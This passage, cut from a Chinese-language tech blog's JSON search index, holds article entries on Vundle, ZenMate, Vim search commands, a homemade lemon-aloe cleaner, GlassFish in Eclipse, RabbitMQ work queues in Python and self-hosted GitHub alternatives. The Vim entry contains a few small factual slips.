class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"cacoo\"\u003eCacoo\u003c/h2\u003e\n\u003cp\u003eCacoo 是一個需要註冊的線上繪製 wireframe 服務，註冊之後就可以直接在瀏覽器上畫圖，它的功能很多，除了 wireframe 之外，還可以畫各種的 diagram。免費版的使用者只能以 png 檔的方式下載畫好的圖檔，如果要下載向量圖，就要升級成付費版的會員。\u003c/p\u003e","title":"製作 Wireframe 設計圖的免費工具整理"},{"content":"Vundle 是一個可以自動下載、安裝與管理 Vim plugins 的工具，讓 Vim 的使用者可以很方便的使用各種 plugins。\nVim 編輯器可以透過各種 plugin 來增加各種功能，在 Vim Scripts 網站上收錄了非常大量的 Vim 指令稿，使用者可以自己下載後安裝在 Vim 中使用。雖然這些 plugins 可以加強 Vim 的功能，但是如果安裝了太多的 plugins，在管理上就會比較麻煩，這時候就可以使用 Vundle 來幫忙管理所有的 Vim plugins。\nVundle（Vim Bundle 的簡稱）是一個 Vim plugin 管理工具，主要功能如下：\n在 .vimrc 中統一管理所有的 plugin 設定。 安裝 plugin。 更新 plugin。 以名稱搜尋 Vim Scripts 網站的 plugin。 清除沒有用到的 plugin。 互動式操作介面。 基本上 Vundle 提供了一般使用者很完整的 plugin 管理功能，只要有了這個工具，所有關於 plugin 的安裝與管理動作，都可以在 Vim 的環境下進行，既快速又方便。以下是 Vundle 的安裝與使用方式。\n安裝 由於 Vundle 會需要 Git（用於下載 plugin）與 Curl（用於搜尋 plugin）兩項工具，所以在安裝 Vundle 之前要先安裝這兩個工具，若在 Ubuntu Linux 中可以使用 apt 安裝：\nsudo apt-get install git curl 接著安裝 Vundle：\ngit clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim 然後設定 .vimrc，加下面這段設定貼在 .vimrc 的開頭：\nset nocompatible \u0026#34; be iMproved, required filetype off \u0026#34; required \u0026#34; set the runtime path to include Vundle and initialize set rtp+=~/.vim/bundle/vundle/ call vundle#rc() \u0026#34; alternatively, pass a path where Vundle should install plugins \u0026#34;let path = \u0026#39;~/some/path/here\u0026#39; \u0026#34;call vundle#rc(path) \u0026#34; let Vundle manage Vundle, required Plugin \u0026#39;gmarik/vundle\u0026#39; \u0026#34; The following are examples of different formats supported. \u0026#34; Keep Plugin commands between here and filetype plugin indent on. \u0026#34; scripts on GitHub repos Plugin \u0026#39;tpope/vim-fugitive\u0026#39; Plugin \u0026#39;Lokaltog/vim-easymotion\u0026#39; Plugin \u0026#39;tpope/vim-rails.git\u0026#39; \u0026#34; The sparkup vim script is in a subdirectory of this repo called vim. \u0026#34; Pass the path to set the runtimepath properly. Plugin \u0026#39;rstacruz/sparkup\u0026#39;, {\u0026#39;rtp\u0026#39;: \u0026#39;vim/\u0026#39;} \u0026#34; scripts from http://vim-scripts.org/vim/scripts.html Plugin \u0026#39;L9\u0026#39; Plugin \u0026#39;FuzzyFinder\u0026#39; \u0026#34; scripts not on GitHub Plugin \u0026#39;git://git.wincent.com/command-t.git\u0026#39; \u0026#34; git repos on your local machine (i.e. when working on your own plugin) Plugin \u0026#39;file:///home/gmarik/path/to/plugin\u0026#39; \u0026#34; ... filetype plugin indent on \u0026#34; required \u0026#34; To ignore plugin indent changes, instead use: \u0026#34;filetype plugin on \u0026#34; \u0026#34; Brief help \u0026#34; :PluginList - list configured plugins \u0026#34; :PluginInstall(!) - install (update) plugins \u0026#34; :PluginSearch(!) foo - search (or refresh cache first) for foo \u0026#34; :PluginClean(!) - confirm (or auto-approve) removal of unused plugins \u0026#34; \u0026#34; see :h vundle for more details or wiki for FAQ \u0026#34; NOTE: comments after Plugin commands are not allowed. \u0026#34; Put your stuff after this line 其中所有 Plugin 開頭的設定，除了 Plugin 'gmarik/vundle' 之外，都可以依照自己的需求決定是否要加入。\n最後在 Vim 中執行 :PluginInstall 安裝 .vimrc 中所設定的 plugins，或是在終端機中執行\nvim +PluginInstall +qall 這樣也可以安裝所有的 plugins。\nVundle 的網站上有一些寫好的範例，一開始如果不知道該如何選擇 plugin，可以先直接使用別人寫好的 .vimrc 檔來修改，這樣會比較省時間。\nfisa-vim-config 設定檔 如果你有使用 Vim 來開發 Python 程式，建議可以參考 fisa-vim-config 這個設定檔，它把各種 plugin 整合的很好，下面這個是使用的畫面。\n在 fisa-vim-config 的網頁中有詳細介紹它所提供的功能與特色，另外也詳述了相關 Python 開發工具的安裝方式與字型的安裝與設定，如果你想要打造一個一模一樣的環境，可以參考他的網頁說明。\n","permalink":"https://blog.gtwang.org/linux/vundle-vim-bundle-plugin-manager/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/VundleVim/Vundle.vim\"\u003eVundle\u003c/a\u003e 是一個可以自動下載、安裝與管理 Vim plugins 的工具，讓 Vim 的使用者可以很方便的使用各種 plugins。\u003c/p\u003e\n\u003cp\u003eVim 編輯器可以透過各種 plugin 來增加各種功能，在 \u003ca href=\"https://vim-scraper.github.io/\"\u003eVim Scripts\u003c/a\u003e 網站上收錄了非常大量的 Vim 指令稿，使用者可以自己下載後安裝在 Vim 中使用。雖然這些 plugins 可以加強 Vim 的功能，但是如果安裝了太多的 plugins，在管理上就會比較麻煩，這時候就可以使用 Vundle 來幫忙管理所有的 Vim plugins。\u003c/p\u003e","title":"Vundle：Vim Plugin 自動下載、安裝、更新與管理工具（Vim Bundle）"},{"content":"ZenMate 是一個可以加強上網安全性的 Google Chrome plugin，可以保護自己所瀏覽的網頁不被本地端的 ISP、駭客或政府單位所監控，亦可達到「翻牆」的功能。\n現在的網際網路非常發達，幾乎每個人都會上網，但是一般人通常在上網時，不會去注意資訊安全的問題，其實當你在瀏覽網頁時，網管、ISP 或是駭客都有機會可以竊取到你所有看過的網頁內容，簡單說就是你的螢幕上可以看到的東西，他們都可以看到，而你螢幕上看不到的（例如未加密的密碼等），他們也可以看到。\n目前許多的網站對於傳輸使用者的個人資料時（如上 Gmail 收郵件等），都會使用 HTTPS 的方式傳輸，所以這個部份倒是不用太操心，但是如果在瀏覽一般的網站時，通常都是以未加密的方式，這樣網頁內容就會有機會遭到監聽。\n另外一個問題就是有些地區或單位會監控使用者所瀏覽的網站，並且禁止瀏覽某些特定的網站，例如中國大陸的防火長城就擋掉許多網站，所以像 Blogger 部落格或是 facebook 在大陸都是無法瀏覽的，它的原理就是大陸官方的防火牆會監控所有使用者的瀏覽網站，如果使用者嘗試連線到被禁止的網站，就直接把他的連線擋下來。\nZenMate 是一個可以讓瀏覽的網頁避免被監控的 Chrome 瀏覽器翻牆外掛 plugin，透過 ZenMate 自己所提供的匿名 proxy，使用者不但可以加密所有瀏覽網站的內容，避免被監控，另外自己的 IP 位址也會隱藏在 ZenMate 的後方，使用者所瀏覽的任何網站都無法得知自己的 IP 位址。\n外掛名稱：Zenmate Gratis VPN Chrome\n瀏覽器：Google Chrome\n下載位置：Google 線上應用程式商店\n在 Chrome 瀏覽器中安裝好 ZenMate 這個 plugin 之後，在工具列就會出現一個 ZenMate 的工具圖示（藍色的盾牌），不過在使用前還要先註冊。\n點一下 ZenMate 的圖示，就會開啟註冊的網頁，註冊過程非常簡潔，只要填入 Email 就可以了就可以了，然後按下「Get secured now」。\n註冊成功之後，會得到一組自動產生的密碼，如果你感覺密碼不好記，也可以自己更改。這時候 ZenMate 的圖示變成綠色，就代表目前所有瀏覽的網頁都會經過 ZenMate 加密，所以現在就可以放心上網了。\n在瀏覽網頁時，點選 ZenMate 的工具圖示，會顯示目前 ZenMate 的狀態，以及所使用的 proxy 伺服器，在台灣預設應該會使用香港的伺服器，如果感覺香港的比較慢，可以點選「Change location」換成其他國家的。\n這裡要提醒一點，雖然 ZenMate 可以幫使用者加密所有的網頁傳輸內容，避免被第三方監聽，但是這只限於自己的電腦跟 ZenMate 之間的連線而已，在 ZenMate 之後的傳輸到使用者真正要瀏覽的網站之間還是有可能會是未加密的狀態，所以如果要傳送機密資料時，請還是要先確認要瀏覽的網站是否有足夠的安全機制，否則資料還是會有外洩風險。\n簡單來說，ZenMate 只能盡量幫你隱藏個人的資訊，在不手動輸入任何個人資料的狀況下，透過 ZenMate 來瀏覽網站的話，不論原來的網站是否有支援 HTTPS 加密，都不會有人知道你看了哪些網站，而那些被瀏覽的網站也不知道是誰看了他們的網站，實務上拿來突破防火牆的限制應該是最常見的使用方式。\n","permalink":"https://blog.gtwang.org/useful-tools/zenmate-chrome-plugin/","summary":"\u003cp\u003e\u003ca href=\"https://zenmate.com/\"\u003eZenMate\u003c/a\u003e 是一個可以加強上網安全性的 Google Chrome plugin，可以保護自己所瀏覽的網頁不被本地端的 ISP、駭客或政府單位所監控，亦可達到「翻牆」的功能。\u003c/p\u003e\n\u003cp\u003e現在的網際網路非常發達，幾乎每個人都會上網，但是一般人通常在上網時，不會去注意資訊安全的問題，其實當你在瀏覽網頁時，網管、ISP 或是駭客都有機會可以竊取到你所有看過的網頁內容，簡單說就是你的螢幕上可以看到的東西，他們都可以看到，而你螢幕上看不到的（例如未加密的密碼等），他們也可以看到。\u003c/p\u003e","title":"ZenMate：避免瀏覽的網頁被監控的 Chrome 瀏覽器翻牆外掛（Plugin）"},{"content":"這裡介紹如何在 Vim 編輯器中使用 g 指令，快速搜尋游標所在的文字。\n在使用 Vim 撰寫程式時，時常會需要在整個程式碼檔案中搜尋某個變數或函數的定義，或是尋找某個變數在哪些地方出現過，在 Vim 中最基本的搜尋方式是使用 / 向後搜尋，或是使用 ? 向後搜尋，不過每次使用這些搜尋功能時都要自己手動輸入要搜尋的字串，但是如果要搜尋的變數名稱很長的時候，要這樣自己打就很麻煩了。\n這裡我們介紹一個 Vim 中很實用的 g 指令，它可以讓使用者不必輸入那麼多文字就可以進行快速的搜尋與移動。\n在使用之前，先將游標移動至要搜尋的變數上（這裡假設我們搜尋 immediate_callback_sym）：\n接著就可以使用下面幾種方式來搜尋指定的變數：\ng*：向後搜尋游標所在位置的變數（或任何文字）。 g#：跟 g* 一樣，但是向前搜尋。 gd：移動到區域性（local）變數的宣告（declaration）位置。 gD：移動到全域性（global）變數的宣告位置。 如果這時候輸入 g*，Vim 就會向後搜尋 immediate_callback_sym：\n如果輸入 gd，就會移到 immediate_callback_sym 變數宣告的位置：\n這裡的 g* 跟 * 作用很相似，如果在 rain 這個文字上使用 g*，則連同 rainbow 這樣的字也會被納入搜尋，相當於使用 /\\\u0026lt;rain\\\u0026gt; 的效果：\n但若使用 * 的話，就只會搜尋 rain 這個字而已，不會包含 rainbow，相當於使用 /rain：\n另外 g 指令還有兩個常見的用法：\ngg：移動至檔案的第一行。 Ngg：移動至檔案的第 N 行，其中 N 可以是任何數字，例如 35gg 就是移動至第 33 行。 G：移動至檔案的最後一行。 參考資料 wikia ","permalink":"https://blog.gtwang.org/linux/vim-g-search/","summary":"\u003cp\u003e這裡介紹如何在 Vim 編輯器中使用 \u003ccode\u003eg\u003c/code\u003e 指令，快速搜尋游標所在的文字。\u003c/p\u003e\n\u003cp\u003e在使用 Vim 撰寫程式時，時常會需要在整個程式碼檔案中搜尋某個變數或函數的定義，或是尋找某個變數在哪些地方出現過，在 Vim 中最基本的搜尋方式是使用 \u003ccode\u003e/\u003c/code\u003e 向後搜尋，或是使用 \u003ccode\u003e?\u003c/code\u003e 向後搜尋，不過每次使用這些搜尋功能時都要自己手動輸入要搜尋的字串，但是如果要搜尋的變數名稱很長的時候，要這樣自己打就很麻煩了。\u003c/p\u003e","title":"Vim 使用 g 指令快速搜尋變數或文字"},{"content":"這裡介紹天然環保的手工檸檬蘆薈清潔劑的製作方法。\n本篇的介紹的是 20 公升桶子的配方，如果您是小家庭，怕這樣的量太多的話，可以參考適用小家庭的 6 公升礦泉水瓶配方。\n準備材料 檸檬 8 斤 95% 酒精 3 瓶 蘆薈白肉（去綠皮）3碗 鹽 1 包 椰子油起泡劑 1 公斤 純淨水 15 公升（最多） 挑選檸檬時，選擇皮越青、越厚的精油越多。\n這是 95% 的酒精，一般藥局就有販售，一瓶大約 60 元。\n大約 3 斤的蘆薈可以取出 3 碗蘆薈白肉。\n鹽巴就買一般市售的台鹽高級精鹽即可。\n這是 1 公斤裝的椰子油起泡劑。\n原配方是準備 15 公升過濾水，如果桶子比較小，水量可以減少沒有關係（清潔劑會比較濃縮）。\n這種大桶子一般比較不容易買到，如果沒有適合的桶子的話，可以到飲料店問問看他們有沒有裝果糖的桶子。\n通常飲料店都會進很多類似這樣的果糖，果糖用完之後就會剩下許多空桶子，把這種空桶子買回來洗乾淨晾乾之後，就很適合拿來使用了。\n通常這樣的果糖桶子一個大約是 15 元到 20 元左右（價格會因為不同地區有些不同）。\n其它工具 刨刀（要削檸檬皮用） 玻璃瓶（3 至 4 公升大小） 濾網 果汁機 攪拌棍子 做法 檸檬酒精：檸檬洗淨擦乾削綠皮部分（不含果肉），加入酒精浸泡 24 小時後，過濾備用。 蘆薈汁：蘆薈白肉用果汁機打成汁備用。 椰子起泡劑加鹽加水 1000cc 攪散備用。 將 1+2+3 混合加入後，再加過濾水15000cc，充分攪散即完成！ 檸檬酒精 首先要使用酒精萃取檸檬皮裡面的精油。\n這是削好的檸檬皮，8 斤檸檬所削下來的綠皮大約是 660 公克（1.1斤）。\n將檸檬皮裝入玻璃瓶中。\n倒入 95% 酒精 3 瓶，浸泡 24 小時。\n準備工具（濾杓+小盆子），過濾檸檬酒精。\n過濾檸檬酒精。\n這就是完成的檸檬酒精。\n蘆薈汁 將蘆薈洗乾淨之後，取出內部的白肉。\n蘆薈對剖，用湯匙挖取白肉。\n這裡挖取蘆薈肉的做法並不是很好，後來我用另一種方式，可以比較容易避免大黃素的問題，新的蘆薈肉取出方式，請參考 6 公升礦泉水瓶配方的做法，這個很重要喔。\n準備好三碗的蘆薈白肉。\n用果汁機把蘆薈白肉打汁。\n若一次量太多不好打，可以分成兩次打。\n從 15 公升水，取少許水出來打汁，加水到一半。\n這是打汁完成後的蘆薈白肉。\n混合 準備好鹽、椰子油起泡劑與 1000cc 的水。\n倒入1000cc 的水、鹽和椰子油起泡劑。\n攪拌均勻。\n再倒入準備的過濾水、檸檬酒精和蘆薈白肉汁，充分攪拌均勻。\n這樣就完成了。\n若使用 35% 椰子油起泡劑，靜置 24 小後即可裝瓶使用，若使用 70% 椰子油起泡劑，靜置一週後，才可裝瓶使用。\n如果需要購買檸檬的人，可以參考屏東潮州自產自銷的無毒檸檬。另外削完皮的檸檬可以製作蜂蜜檸檬汁，給小朋友夏天當飲料喝很不錯。\n","permalink":"https://blog.gtwang.org/diy/handmade-lemon-aloe-cleaner/","summary":"\u003cp\u003e這裡介紹天然環保的手工檸檬蘆薈清潔劑的製作方法。\u003c/p\u003e\n\u003cp\u003e本篇的介紹的是 20 公升桶子的配方，如果您是小家庭，怕這樣的量太多的話，可以參考適用小家庭的 \u003ca href=\"/diy/diy-handmade-lemon-aloe-cleaner-small-family-recipe/\"\u003e6 公升礦泉水瓶配方\u003c/a\u003e。\u003c/p\u003e","title":"[DIY] 天然環保的手工檸檬蘆薈清潔劑製作方法"},{"content":"這裡介紹如何在 Eclipse 中安裝 GlassFish Application Server，建立 Java EE 開發環境。\nGlassFish 是一個開放原始碼的 Java EE Application Server，這裡以 Eclipse Kepler 為例，示範如何在 Eclipse 的環境下安裝 GlassFish，作為開發 Java EE 應用程式的伺服器。這裡所使用的作業系統為 Mac OS X，不過不同的作業系統在安裝上應該都差不多。\n安裝 Eclipse 與 GlassFish 首先下載與安裝 Eclipse IDE for Java EE Developers 與 GlassFish，不管是 Eclipse 或是 GlassFish 都可以下載它們的壓縮檔，解壓縮後放就可以使用了。\n解壓縮之後，可以自己選擇放置的目錄，基本上要放在哪裡都可以。\n在 Eclipse 中設定 GlassFish 安裝好 Eclipse 與 GlassFish 之後，就開啟 Eclipse。這裡我們使用 Eclipse Java EE IDE for Web Developers，版本是 Kepler。\n選擇「File」-\u0026gt;「New」-\u0026gt;「Other」。\n選擇「Server」。\n在 Eclipse Kepler 中，Apache Tomcat 與 JBoss 都有在 Eclipse 內建的伺服器清單之內，如果要使用 GlassFish，就要點選右上角的「Download additional server adapters」。\n在伺服器的 adapters 清單之內，選擇 Oracle 的 GlassFish Tools 來安裝。\n伺服器的 adapter 安裝完成之後，在新增伺服器的對話視窗中，應該就會出現 GlassFish 的 adapter，這裡就依照自己所安裝的 GlassFish 版本來選擇。\nJDK 就依照自己的需求來設定，沒有特殊需求的話，用預設的就可以了。GlassFish 伺服器的安裝路徑（Server Directory）就依自己的狀況來選擇，請注意該路徑下應該要有 bin 等資料夾，如果選擇的路徑是正確的，下方就會出現「Found GlassFish Server version X.X.X」這樣的訊息。\n設定管理者密碼，如果只是在 Eclipse 中開發用的，密碼可以不用設定，保持空白即可。\n這樣 GlassFish 就設定好了，接著可以在 Servers 籤頁中的 GlassFish 按右鍵，選擇「Start」。\n在 Console 中應該就會出現伺服器啟動時的一些訊息，如果看起來沒有什麼錯誤，應該就沒問題了。\n從右鍵選單中的「GlassFish」-\u0026gt;「View Admin Console」可以開啟管理者控制介面。\n從這裡可以查詢 GlassFish 伺服器的各種狀態。\nGlassFish 的管理介面預設是 http://localhost:4848/common/index.jsf，直接用瀏覽器開啟也可以。\n","permalink":"https://blog.gtwang.org/web-development/eclipse-glassfish-java-ee-7-application/","summary":"\u003cp\u003e這裡介紹如何在 Eclipse 中安裝 GlassFish Application Server，建立 Java EE 開發環境。\u003c/p\u003e\n\u003cp\u003eGlassFish 是一個開放原始碼的 Java EE Application Server，這裡以 Eclipse Kepler 為例，示範如何在 Eclipse 的環境下安裝 GlassFish，作為開發 Java EE 應用程式的伺服器。這裡所使用的作業系統為 Mac OS X，不過不同的作業系統在安裝上應該都差不多。\u003c/p\u003e","title":"Eclipse 安裝與設定 GlassFish 伺服器教學（Java EE 7 Application Server）"},{"content":"這裡介紹如何使用 RabbitMQ 實作工作佇列（work queues），將耗時的工作分配至多個 works 來處理。\n在上一個 RabbitMQ 訊息佇列教學中，我們實作一個可以透過 queue 傳送與接收訊息的簡單架構，這裡我們將繼續修改之前的範例程式碼，加入工作處理的功能。\n工作佇列（work queues，又名 task queues）主要的概念就是將耗時的工作放在後端進行排程處理，不要讓前端的應用程式或使用者一直等待。這裡我們將工作包裝成訊息的格式，透過 work queue 傳遞給後方的 worker 處理，如果同時有很多工作產生時，我們還可以建立多個 workers 一起分攤這些工作。\n這樣的做法對於網頁應用程式十分有用，當一個工作無法在一個 HTTP 請求所容許的短暫時間內完成時，就可以改用這樣的方式。\n模擬耗時工作 之前的範例程式中，我們只是單純傳送一個 \u0026quot;Hello World!\u0026quot; 字串，而現在我們要傳送一個代表耗時工作的文字訊息，這裡為了方便示範，我們會呼叫 time.sleep() 函數來模擬耗時工作的處理過程，而工作所耗費的時間則使用訊息中的句點數目來代表，一個句點代表使用一秒的時間，例如 \u0026quot;Hello...\u0026quot; 就是一個耗費 3 秒的工作。\n首先修改之前的 send.py 程式碼，讓它執行時可以指定送出的訊息，並將新的指令稿命名為 new_task.py：\nimport sys message = \u0026#39; \u0026#39;.join(sys.argv[1:]) or \u0026#34;Hello World!\u0026#34; channel.basic_publish(exchange=\u0026#39;\u0026#39;, routing_key=\u0026#39;hello\u0026#39;, body=message) print(\u0026#34; [x] Sent %r\u0026#34; % (message,)) 之後我們會使用 new_task.py 將工作放進 work queue 中進行排程處理。\n另外在 receive.py 的部分，也要做一些修改，讓它可以根據 new_task.py 所產生的訊息內容，模擬工作的處理，看訊息長度是多少，就耗時幾秒，我們將新的指令稿命名為 worker.py：\nimport time def callback(ch, method, properties, body): print(\u0026#34; [x] Received %r\u0026#34; % (body,)) time.sleep(len(body)) print(\u0026#34; [x] Done\u0026#34;) Round-robin 使用工作佇列的其中一個好處就是可以很容易的平行處理多項工作，當工作量增加時，只要加入新的 worker 即可立即分擔整個系統的負載，擴充非常方便。\n首先在兩個 shell 中分別執行 worker.py，建立兩個 workers：\n#shell 1 python worker.py [*] Waiting for messages. To exit press CTRL+C\n# shell 2 python worker.py [*] Waiting for messages. To exit press CTRL+C\n然後在開啟另外一個 shell，執行 new_task.py 送出多個代表耗時工作的訊息：\n#shell 3 python new_task.py First python new_task.py Second python new_task.py Third python new_task.py Fourth python new_task.py Fifth 這時候，在 shell 1 的 worker 輸出為：\n[*] Waiting for messages. To exit press CTRL+C [x] Received b'First' [x] Done [x] Received b'Third' [x] Done [x] Received b'Fifth' [x] Done 而 shell 2 的 worker 輸出為：\n[*] Waiting for messages. To exit press CTRL+C [x] Received b'Second' [x] Done [x] Received b'Fourth' [x] Done 在預設的狀況下，RabbitMQ 會將訊息依序輪流配送至每一個 consumer，平均來說每一個 consumer 會收到相同數量的訊息，這樣的配送方式稱為 round-robin，你可以嘗試加入更多的 worker 測試看看。\n訊息確認（Message Acknowledgment） 依據目前我們實作的程式碼，RabbitMQ 將工作交給 worker 之後並不會將訊息內容保留下來，全部的處理責任都落在 worker 身上，處理耗時的工作有可能會花費很久的時間，萬一在處理的期間 worker 發生問題沒有將工作處理完成，那麼該項工作就會出問題，而 RabbitMQ 也無從追蹤或重新派送。\n如果要監控每一個派送出去的工作，可以藉由 RabbitMQ 的訊息確認（message acknowledgment）的功能來達成，consumer 可以使用這個方式告知 RabbitMQ 各種資訊，例如某個訊息是否已接收到或是已經處理完成等，讓 RabbitMQ 可以在確認工作都正常完成後，再刪除 queue 中的訊息。\n如果某一個 consumer 處理到一半出問題，導致 RabbitMQ 收不到確認訊息，這樣的狀況 RabbitMQ 就可以將工作改送給其他的 worker 來處理，避免該項工作整個遺失。而 RabbitMQ 只有在 worker 連線中斷時，才會嘗試改送給其他的 worker，沒有預設的逾時（timeout）設定，所以即使工作需要很長的時間來處理也沒有問題。\n訊息確認的功能預設就已經開啟了，不過之前的範例中我們沒有使用，只是單純將他指定為 no_ack=True，現在我們將這部分修改一下：\ndef callback(ch, method, properties, body): print(\u0026#34; [x] Received %r\u0026#34; % (body,)) time.sleep(len(body)) print(\u0026#34; [x] Done\u0026#34;) ch.basic_ack(delivery_tag = method.delivery_tag) channel.basic_consume(queue=\u0026#39;task_queue\u0026#39;, on_message_callback=callback) 這樣一來，當有 worker 突然出問題時，RabbitMQ 就會將為處理完成的工作送給其他的 worker 來處理，你可以在 worker.py 執行到一半時，按下 Ctrl + c 測試看看。\n這裡要注意不要忘記加上 basic_ack，如果沒有加上這一行，RabbitMQ 就會無法掌控該工作到底有沒有完成，因此就永遠無法刪除該訊息，時間一久也會造成記憶體用量不斷累積。如果要針對這類的問題除錯，可以使用 rabbitmqctl 將 messages_unacknowledged 欄位印出欄看看：\nsudo rabbitmqctl list_queues name messages_ready messages_unacknowledged Timeout: 60.0 seconds ... Listing queues for vhost / ... name\tmessages_ready\tmessages_unacknowledged task_queue\t0\t0 訊息的續航力（Message Durability） 在上面的教學中，我們已經可以確保在 consumer 出問題時，未處理完成的工作不會遺失，但是如果 RabbitMQ 伺服器出問題時，在伺服器上的排程等待的工作一樣會不見。\n在預設的情況下，當 RabbitMQ 伺服器關閉或是 crash 之後，所有的佇列與訊息也都會消失，如果想要讓 RabbitMQ 可以持續保留佇列與訊息，可以將佇列與訊息都設定為 durable，這樣 RabbitMQ 就會自動將它們保留下來。\ndurable 佇列的設定方式為：\nchannel.queue_declare(queue=\u0026#39;hello\u0026#39;, durable=True) 基本上這樣就可以了，但是由於我們之前已經建立了一個名為 hello 的佇列，RabbitMQ 不允許相同的佇列名稱卻以不同的參數設定重複建立，所以我們在這裡我們將新的佇列更名為 task_queue：\nchannel.queue_declare(queue=\u0026#39;task_queue\u0026#39;, durable=True) 更改佇列名稱記得要同時套用至 producer 與 consumer 的程式碼中。\n設定好佇列之後，接著再把訊息設定成 persistent，讓訊息也可以保留下來：\nchannel.basic_publish( exchange=\u0026#39;\u0026#39;, routing_key=\u0026#34;task_queue\u0026#34;, body=message, properties=pika.BasicProperties( delivery_mode = 2, # make message persistent )) 這裡我們將訊息設定為 persistent 其實也並不能完全保證每一條訊息都不會遺失，因為 RabbitMQ 雖然會將每一條訊息都儲存在硬碟中，但是如果 RabbitMQ 出問題的時間點，剛好落在接收訊息之後與寫入硬碟之前這段短暫的時間內，那麼該訊息就無法被保留下來，而且 RabbitMQ 並不會針對每一條訊息呼叫 fsync，所以也很可能有些訊息是寫在緩衝區中，而沒有實際被寫入硬碟。\nFair Dispatch 上面我們以 round-robin 的方式分配工作，因為每一件工作所需要的處理時間都不同，有時候會讓工作量分配不平均，造成有些 worker 的負載很重，而有些 worker 卻很輕。\n為了可以讓每個 worker 能夠平均分擔所有的工作，我們可以使用 basic.qos 設定 prefetch_count=1，告知 RabbitMQ 一次指派送一個工作給一個 worker，也就是說 RabbitMQ 只會將工作派送給閒置的 worker 來處理，如果一個 worker 正在處理某一項工作，那麼 RabbitMQ 會等收到該項工作的完成確認訊息之後，才會再配送下一個工作給這個 worker。\nchannel.basic_qos(prefetch_count=1) 在這樣的狀況下，使用者必須注意 workers 的數量是否足以消化佇列中所有的工作，如果工作產生的速度遠大於 workers 消化的速度，整個佇列可能會被塞滿，這時候就要增加一些 workers 或是更改架構的設計。\n完整的程式碼 以下是 new_task.py 的完整程式碼：\n#!/usr/bin/env python import pika import sys connection = pika.BlockingConnection(pika.ConnectionParameters( host=\u0026#39;localhost\u0026#39;)) channel = connection.channel() channel.queue_declare(queue=\u0026#39;task_queue\u0026#39;, durable=True) message = \u0026#39; \u0026#39;.join(sys.argv[1:]) or \u0026#34;Hello World!\u0026#34; channel.basic_publish( exchange=\u0026#39;\u0026#39;, routing_key=\u0026#39;task_queue\u0026#39;, body=message, properties=pika.BasicProperties( delivery_mode = 2, # make message persistent )) print(\u0026#34; [x] Sent %r\u0026#34; % (message,)) connection.close() 以下則是 worker.py 的完整程式碼：\n#!/usr/bin/env python import pika import time connection = pika.BlockingConnection(pika.ConnectionParameters( host=\u0026#39;localhost\u0026#39;)) channel = connection.channel() channel.queue_declare(queue=\u0026#39;task_queue\u0026#39;, durable=True) print(\u0026#39; [*] Waiting for messages. To exit press CTRL+C\u0026#39;) def callback(ch, method, properties, body): print(\u0026#34; [x] Received %r\u0026#34; % (body,)) time.sleep(len(body)) print(\u0026#34; [x] Done\u0026#34;) ch.basic_ack(delivery_tag = method.delivery_tag) channel.basic_qos(prefetch_count=1) channel.basic_consume(queue=\u0026#39;task_queue\u0026#39;, on_message_callback=callback) channel.start_consuming() 繼續閱讀：以 RabbitMQ 實作 Publish/Subscribe 模型（Python 版本）\n","permalink":"https://blog.gtwang.org/programming/rabbitmq-work-queues-in-python/","summary":"\u003cp\u003e這裡介紹如何使用 RabbitMQ 實作工作佇列（work queues），將耗時的工作分配至多個 works 來處理。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"rabbitmq-work-queue-1\" loading=\"lazy\" src=\"/programming/rabbitmq-work-queues-in-python/rabbitmq-work-queue-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e在上一個 \u003ca href=\"/linux/ubuntu-linux-install-rabbitmq/\"\u003eRabbitMQ 訊息佇列教學\u003c/a\u003e中，我們實作一個可以透過 queue 傳送與接收訊息的簡單架構，這裡我們將繼續修改之前的範例程式碼，加入工作處理的功能。\u003c/p\u003e","title":"以 RabbitMQ 實作工作佇列（Work Queues）（Python 版本）"},{"content":"這裡整理了一些免費的 Github 替代方案，讓開發者可以將專案的原始碼放在自己的伺服器中，避免原始碼洩漏的風險。\nGitHub 對於許多的開發者而言是一項很有用的資源，它可以讓不同的程式設計師一起合作開發一項專案，也提供很好的程式碼管理與 code review 等功能。\n不過在某些狀況下可能不適合使用 GitHub，最常見的狀況就是開發較為機密性的專案時，不想公開專案的原始碼，縱使 GitHub 也有提供不開放原始碼的付費服務，但是最保險的作法還是讓專案原始碼可以放在自己所維護的伺服器上，以避免程式碼外洩的風險。\n以下整理了一些可以安裝在自己伺服器上的 GitHub 替代方案，你可以依照自己的需求來選擇該用哪一個。\nGitlab Gitlab 開放原始碼的企業級替代方案，它同時提供 Community Edition 與 Enterprise Edition 兩種版本，Community Edition 是免費開放原始碼的版本，而 Enterprise Edition 則是進階的付費版。\n一般的專案使用 Community Edition 應該就已經很足夠了，如果你想要找一個可以安裝在自己伺服器上的 GitHub 替代方案，這是一個不錯的選擇。\n名稱：Gitlab\n網址：https://about.gitlab.com/\nChiliProject ChiliProject 是一個以 Ruby/Rails 開發的專案管理系統，包含了許多 GitHub 的功能，也提供了很多 plugin 可以使用，例如 code review 與 syntax highlighting 等。\n名稱：ChiliProject\n網址：https://www.chiliproject.org/\nApache Allura Apache Allura 是一個用 Python 所開發的開放原始碼專案管理工具，可以安裝在自己的伺服器中，一些基本的功能都有，但是不包含 code review。\n名稱：Apache Allura\n網址：https://allura.apache.org/\nBitbucket Bitbucket 無法讓使用者安裝在自己的伺服器上，但是它可以讓你放置私人專案，在網路上也有多人推薦，如果開發者的數量沒有超過 5 人，它是完全免費的！如果不是非常機密的專案，就可以考慮使用它。\n名稱：Bitbucket\n網址：https://bitbucket.org/\n參考資料 Smashing Hub ","permalink":"https://blog.gtwang.org/programming/github-local-alternatives/","summary":"\u003cp\u003e這裡整理了一些免費的 Github 替代方案，讓開發者可以將專案的原始碼放在自己的伺服器中，避免原始碼洩漏的風險。\u003c/p\u003e\n\u003cp\u003eGitHub 對於許多的開發者而言是一項很有用的資源，它可以讓不同的程式設計師一起合作開發一項專案，也提供很好的程式碼管理與 code review 等功能。\u003c/p\u003e","title":"讓原始碼放在自己伺服器中的各種免費的 GitHub 